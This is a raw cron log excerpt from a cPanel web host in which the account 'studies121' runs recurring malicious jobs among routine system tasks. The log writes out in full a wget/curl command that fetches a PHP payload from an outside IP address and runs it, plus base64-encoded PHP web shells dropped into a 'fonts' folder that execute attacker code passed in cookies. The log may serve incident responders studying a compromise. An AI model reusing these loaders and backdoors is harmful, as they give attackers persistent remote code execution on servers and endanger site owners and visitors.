Sep 21 20:48:01 ip-184-168-122-23 CROND[14538]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:48:01 ip-184-168-122-23 CROND[14539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:48:01 ip-184-168-122-23 CROND[14537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:49:01 ip-184-168-122-23 CROND[14664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:49:01 ip-184-168-122-23 CROND[14665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:49:01 ip-184-168-122-23 CROND[14667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:49:01 ip-184-168-122-23 CROND[14668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:50:01 ip-184-168-122-23 CROND[14794]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:50:01 ip-184-168-122-23 CROND[14797]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 20:50:01 ip-184-168-122-23 CROND[14798]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 20:50:01 ip-184-168-122-23 CROND[14802]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 20:50:01 ip-184-168-122-23 CROND[14796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:50:01 ip-184-168-122-23 CROND[14804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:50:01 ip-184-168-122-23 CROND[14803]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 20:50:01 ip-184-168-122-23 CROND[14805]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:50:01 ip-184-168-122-23 CROND[14806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:51:01 ip-184-168-122-23 CROND[14933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:51:01 ip-184-168-122-23 CROND[14934]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:51:01 ip-184-168-122-23 CROND[14937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:51:01 ip-184-168-122-23 CROND[14939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:52:01 ip-184-168-122-23 CROND[15157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:52:01 ip-184-168-122-23 CROND[15160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:52:01 ip-184-168-122-23 CROND[15161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:52:01 ip-184-168-122-23 CROND[15162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:52:01 ip-184-168-122-23 CROND[15159]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:53:01 ip-184-168-122-23 CROND[15289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:53:01 ip-184-168-122-23 CROND[15287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:53:01 ip-184-168-122-23 CROND[15288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:53:01 ip-184-168-122-23 CROND[15290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:54:01 ip-184-168-122-23 CROND[15461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:54:01 ip-184-168-122-23 CROND[15462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:54:01 ip-184-168-122-23 CROND[15460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:54:01 ip-184-168-122-23 CROND[15463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:54:01 ip-184-168-122-23 CROND[15464]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:55:01 ip-184-168-122-23 CROND[15572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:55:01 ip-184-168-122-23 CROND[15571]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:55:01 ip-184-168-122-23 CROND[15575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:55:01 ip-184-168-122-23 CROND[15576]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 20:55:01 ip-184-168-122-23 CROND[15577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:55:01 ip-184-168-122-23 CROND[15578]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 20:56:01 ip-184-168-122-23 CROND[15684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:56:01 ip-184-168-122-23 CROND[15686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:56:01 ip-184-168-122-23 CROND[15690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:56:01 ip-184-168-122-23 CROND[15692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:56:01 ip-184-168-122-23 CROND[15691]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:57:01 ip-184-168-122-23 CROND[15805]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:57:01 ip-184-168-122-23 CROND[15807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:57:01 ip-184-168-122-23 CROND[15808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:57:01 ip-184-168-122-23 CROND[15809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:58:02 ip-184-168-122-23 CROND[15916]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:58:02 ip-184-168-122-23 CROND[15917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:58:02 ip-184-168-122-23 CROND[15920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:58:02 ip-184-168-122-23 CROND[15919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:58:02 ip-184-168-122-23 CROND[15922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:59:01 ip-184-168-122-23 CROND[16127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:59:01 ip-184-168-122-23 CROND[16129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:59:01 ip-184-168-122-23 CROND[16131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:59:01 ip-184-168-122-23 CROND[16133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:00:01 ip-184-168-122-23 CROND[16233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:00:01 ip-184-168-122-23 CROND[16240]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 21:00:01 ip-184-168-122-23 CROND[16241]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 21:00:01 ip-184-168-122-23 CROND[16242]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
